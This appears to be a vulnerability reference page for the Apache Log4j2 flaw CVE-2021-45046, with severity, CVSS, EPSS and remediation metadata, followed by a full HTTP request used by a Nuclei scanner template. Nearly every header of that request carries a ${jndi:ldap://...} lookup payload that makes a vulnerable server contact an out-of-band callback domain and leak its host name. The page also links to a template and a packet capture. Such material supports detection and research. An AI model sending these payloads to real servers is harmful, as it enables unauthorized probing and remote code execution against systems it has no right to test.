| Title | Apache Log4j2 - Remote Code Injection |
|---|---|
| Author | ImNightmaree |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Log4j2. |
| CVSS Score | 9 |
| EPSS Score | 0.9434 |
| CVE ID | CVE-2021-45046 |
| CWE ID | CWE-917 |
| Tags | cve2021 cve rce oast log4j injection kev apache vkev vuln |
Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
GET /?x=${jndi:ldap://127.0.0.1 HTTP/1.1
Host: www.victim.com
User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.d5joaq9le0o0vb1ngrhgoom3wtrsjacc5.oast.online}
Connection: close
Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.d5joaq9le0o0vb1ngrhghnrhgwdhp5e1f.oast.online}
Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.d5joaq9le0o0vb1ngrhg6tmbytkazrxtu.oast.online}
Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.d5joaq9le0o0vb1ngrhgxiisky6t8yas7.oast.online}
Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.d5joaq9le0o0vb1ngrhg6nboj6tjoif6b.oast.online}
Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.d5joaq9le0o0vb1ngrhg5hzwpekyq7gny.oast.online}
Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.d5joaq9le0o0vb1ngrhgeaynjdd5jssmx.oast.online}
Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.d5joaq9le0o0vb1ngrhg7ei4op5zmrh8y.oast.online}=${jndi:ldap://${hostName}.cookievalue.d5joaq9le0o0vb1ngrhgpceqjnb6uecyd.oast.online}
Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.d5joaq9le0o0vb1ngrhgukidaimorrqso.oast.online}
Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.d5joaq9le0o0vb1ngrhg7nykns15bchuh.oast.online}
Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d5joaq9le0o0vb1ngrhgjrok6cm8eg4c8.oast.online}
Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.d5joaq9le0o0vb1ngrhgac6kb987qze81.oast.online}
X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.d5joaq9le0o0vb1ngrhgrcgkf4ewiw1hx.oast.online}
X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.d5joaq9le0o0vb1ngrhg4pz6wzpyh5dk4.oast.online}
X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.d5joaq9le0o0vb1ngrhgxgngenpxo6r9w.oast.online}
X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.d5joaq9le0o0vb1ngrhg5kmwitj7cqpru.oast.online}
X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.d5joaq9le0o0vb1ngrhgjexdzjsemhcx7.oast.online}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45046.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45046.pcap
N/AN/A